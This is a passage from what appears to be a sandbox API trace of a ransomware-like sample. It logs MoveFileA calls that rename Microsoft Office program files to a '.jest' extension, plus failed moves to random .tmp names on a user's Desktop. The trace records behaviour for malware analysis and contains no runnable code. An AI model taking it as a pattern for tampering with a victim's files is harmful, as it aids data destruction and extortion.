IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.260] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml.jest")) returned 1 [0165.262] VarBstrFromR4 (in: fltIn=0x47945776, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.92") returned 0x0 [0165.263] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3IVlUx5LfP6TF4qSmEmKk1cWDTZRIz25YUxYIQfS_tcbOOfSKmjF4JTDyoYMHjleyZTH M1 L_C_EdqSqjYNoXHniQeEDc0gZCFOe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ivlux5lfp6tf4qsmemkk1cwdtzriz25yuxyiqfs_tcboofskmjf4jtdyoymhjleyzth m1 l_c_edqsqjynoxhniqeedc0gzcfoe.tmp")) returned 0 [0165.263] GetLastError () returned 0x2 [0165.263] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.273] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml.jest")) returned 1 [0165.276] VarBstrFromR4 (in: fltIn=0x47945778, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.94") returned 0x0 [0165.277] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0S57Wi5hD5yBj7wPHs5KpuX rHxrrtegPfjY V7uwwTsAb2mHK9LGu-FQr7pWpi47fn0LnP khVZDzKT0DLG5gXE-KTXHFC-Bg9t.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0s57wi5hd5ybj7wphs5kpux rhxrrtegpfjy v7uwwtsab2mhk9lgu-fqr7pwpi47fn0lnp khvzdzkt0dlg5gxe-ktxhfc-bg9t.tmp")) returned 0 [0165.277] GetLastError () returned 0x2 [0165.278] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.279] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml.jest")) returned 1 [0165.281] VarBstrFromR4 (in: fltIn=0x47945778, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.94") returned 0x0 [0165.281] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lR5dYyfH O4e-GE90OLgxVzbRCcNyhr2rqTPWHA9EsGwPDdqtI5irl_6ldWft1z6b9xwt8bb6Q7AvcKD0HmwZbXAN7KthnLRDEsg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lr5dyyfh o4e-ge90olgxvzbrccnyhr2rqtpwha9esgwpddqti5irl_6ldwft1z6b9xwt8bb6q7avckd0hmwzbxan7kthnlrdesg.tmp")) returned 0 [0165.282] GetLastError () returned 0x2 [0165.282] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.283] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml.jest")) returned 1 [0165.286] VarBstrFromR4 (in: fltIn=0x47945778, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.94") returned 0x0 [0165.287] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sTgc0YjJVQdPlRCsoZgEL1F8oGk6 -z7mQZtGm_IMZNe_HiedjN1gkscCR0wj-7cgQBuIES7YnXALXgnO2pwEIq6pUwjw8Cs0FBuO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\stgc0yjjvqdplrcsozgel1f8ogk6 -z7mqztgm_imzne_hiedjn1gksccr0wj-7cgqbuies7ynxalxgno2pweiq6puwjw8cs0fbuo.tmp")) returned 0 [0165.287] GetLastError () returned 0x2 [0165.287] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.288] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml.jest")) returned 1 [0165.290] VarBstrFromR4 (in: fltIn=0x47945778, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.94") returned 0x0 [0165.290] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msHEWDCEkxN3YfbmSHrZhUPilDI3qZfDkaofsQPB30z4YC3w_AGVPDgTrW8ixOPjqmHPMTsUeWDDqeUWB7boHkxD8akdzviE4JYp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mshewdcekxn3yfbmshrzhupildi3qzfdkaofsqpb30z4yc3w_agvpdgtrw8ixopjqmhpmtsuewddqeuwb7bohkxd8akdzvie4jyp.tmp")) returned 0 [0165.291] GetLastError () returned 0x2 [0165.291] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.292] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml.jest")) returned 1 [0165.294] VarBstrFromR4 (in: fltIn=0x4794577a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.95") returned 0x0 [0165.295] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kmrslmkQgRUSvqSaeQ wuFhNg5gaE4lM3bv82Vy9j3zoY3Q8YrI2VFDsDKRTDif RSxmPZx7T_jgJhm2UTlT3GFXUNZHQcIAsNf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kmrslmkqgrusvqsaeq wufhng5gae4lm3bv82vy9j3zoy3q8yri2vfdsdkrtdif rsxmpzx7t_jgjhm2utlt3gfxunzhqciasnf.tmp")) returned 0 [0165.295] GetLastError () returned 0x2 [0165.295] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.296] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml.jest")) returned 1 [0165.297] VarBstrFromR4 (in: fltIn=0x4794577a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.95") returned 0x0 [0165.298] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5pAQqNSZAm9L5hlsUzM63MN 0Ucb4t6SPBETDIY7Ff-JvcHx_KoZb9m-zUZxt-92j41hoN_GnSprt0Lyz2cNBTF0yD7GRHATveg .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5paqqnszam9l5hlsuzm63mn 0ucb4t6spbetdiy7ff-jvchx_kozb9m-zuzxt-92j41hon_gnsprt0lyz2cnbtf0yd7grhatveg .tmp")) returned 0 [0165.298] GetLastError () returned 0x2 [0165.298] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.299] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml.jest")) returned 1 [0165.300] VarBstrFromR4 (in: fltIn=0x4794577a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.95") returned 0x0 [0165.301] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tWfqmRopKTV4zKkXZHxOWz3HkPQx1IB6VagiAdkRZPQgV5Kfd-2YjyDLyjo9yexG__fhYb vLVWtnP95yTHS9syTb_psW8mWSkHzR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\twfqmropktv4zkkxzhxowz3hkpqx1ib6vagiadkrzpqgv5kfd-2yjydlyjo9yexg__fhyb vlvwtnp95yths9sytb_psw8mwskhzr.tmp")) returned 0 [0165.301] GetLastError () returned 0x2 [0165.302] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.302] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml.jest")) returned 1 [0165.303] VarBstrFromR4 (in: fltIn=0x4794577a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.95") returned 0x0 [0165.304] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7KHoq-mv5u6yirEHSL0dtx8TDIIhbI961SKyu2gzVpUv9Ou90NLBDfLyspFTP-App5bCodoKEAV4PjDQ6Za0XkL5shYCULlvSu3o.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7khoq-mv5u6yirehsl0dtx8tdiihbi961skyu2gzvpuv9ou90nlbdflyspftp-app5bcodokeav4pjdq6za0xkl5shycullvsu3o.tmp")) returned 0 [0165.304] GetLastError () returned 0x2 [0165.305] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﺨ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.305] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg.jest")) returned 1 [0165.307] VarBstrFromR4 (in: fltIn=0x4794577c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.97") returned 0x0 [0165.308] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1ycKy F-YCHLKeZiCy61VHOQGOKKgRhagLwjqWDmPFi0Vwy17VKuzONqvizQmKO63HzcMcOqh6G-0Huo9UgAWRjDh1bi2W9mqp-Tf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1ycky f-ychlkezicy61vhoqgokkgrhaglwjqwdmpfi0vwy17vkuzonqvizqmko63hzcmcoqh6g-0huo9ugawrjdh1bi2w9mqp-tf.tmp")) returned 0 [0165.308] GetLastError () returned 0x2 [0165.308] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.309] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\earthy.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Earthy.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\earthy.css.jest")) returned 1 [0165.310] VarBstrFromR4 (in: fltIn=0x4794577c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.97") returned 0x0 [0165.311] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\earthy.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WTiMMAw6xtzr O3gkjQF3JohNDBoZoYTk7c9nbmj1Q8hJlzLjNRnRO86SoKVc8SIubgeiPYm_uKv0n5l9UmTOq5fZrhEBiP- fJy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wtimmaw6xtzr o3gkjqf3johndbozoytk7c9nbmj1q8hjlzljnrnro86sokvc8siubgeipym_ukv0n5l9umtoq5fzrhebip- fjy.tmp")) returned 0 [0165.311] GetLastError () returned 0x2 [0165.313] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.317] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg.jest")) returned 1 [0165.319] VarBstrFromR4 (in: fltIn=0x4794577c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.97") returned 0x0 [0165.321] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nZXIfJhhUar j3NS8Oj7eJpa3WTY77VOHemvZ0_Fh_8oh94yL0xR3alssYvrHAM4geVBQaXYwYRg_G4JOtg_qOJU8A-mnnxvBLqBB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nzxifjhhuar j3ns8oj7ejpa3wty77vohemvz0_fh_8oh94yl0xr3alssyvrham4gevbqaxywyrg_g4jotg_qoju8a-mnnxvblqbb.tmp")) returned 0 [0165.321] GetLastError () returned 0x2 [0165.323] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.325] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM.jest" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam.jest")) returned 1 [0165.326] VarBstrFromR4 (in: fltIn=0x4794577e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.98") returned 0x0 [0165.327] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hHQz25h8R-P01n-d9WdzaV0FtOnTH5q0HBYX_gYX2W_JAJg1unTjY2wchXq1V70L_LOc4c tNmY3hDQzwv70j9oH68TwGnMzPK_B.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhqz25h8r-p01n-d9wdzav0ftonth5q0hbyx_gyx2w_jajg1untjy2wchxq1v70l_loc4c tnmy3hdqzwv70j9oh68twgnmzpk_b.tmp")) returned 0 [0165.327] GetLastError () returned 0x2 [0165.328] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml.jest")) returned 1 [0165.345] VarBstrFromR4 (in: fltIn=0x47945780, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951") returned 0x0 [0165.346] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TTbTBmJQO9gVLsQ6VulSeIgrlLZb4NBUGJXz9-YLbmUtWj818UWQ254m47R-5g9Eits-YPlFK9ArOeX4aoVuyKNiDk2OyTB4nZ9t.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ttbtbmjqo9gvlsq6vulseigrllzb4nbugjxz9-ylbmutwj818uwq254m47r-5g9eits-yplfk9aroex4aovuyknidk2oytb4nz9t.tmp")) returned 0 [0165.347] GetLastError () returned 0x2 [0165.353] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ｖ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.360] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\vsta_ep32.exe.config" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\x86\\vsta_ep32.exe.config"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\vsta_ep32.exe.config.jest" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\x86\\vsta_ep32.exe.config.jest")) returned 1 [0165.364] VarBstrFromR4 (in: fltIn=0x47945782, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.02") returned 0x0 [0165.364] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\vsta_ep32.exe.config" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\x86\\vsta_ep32.exe.config"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ILzInVw-nrkHWi5 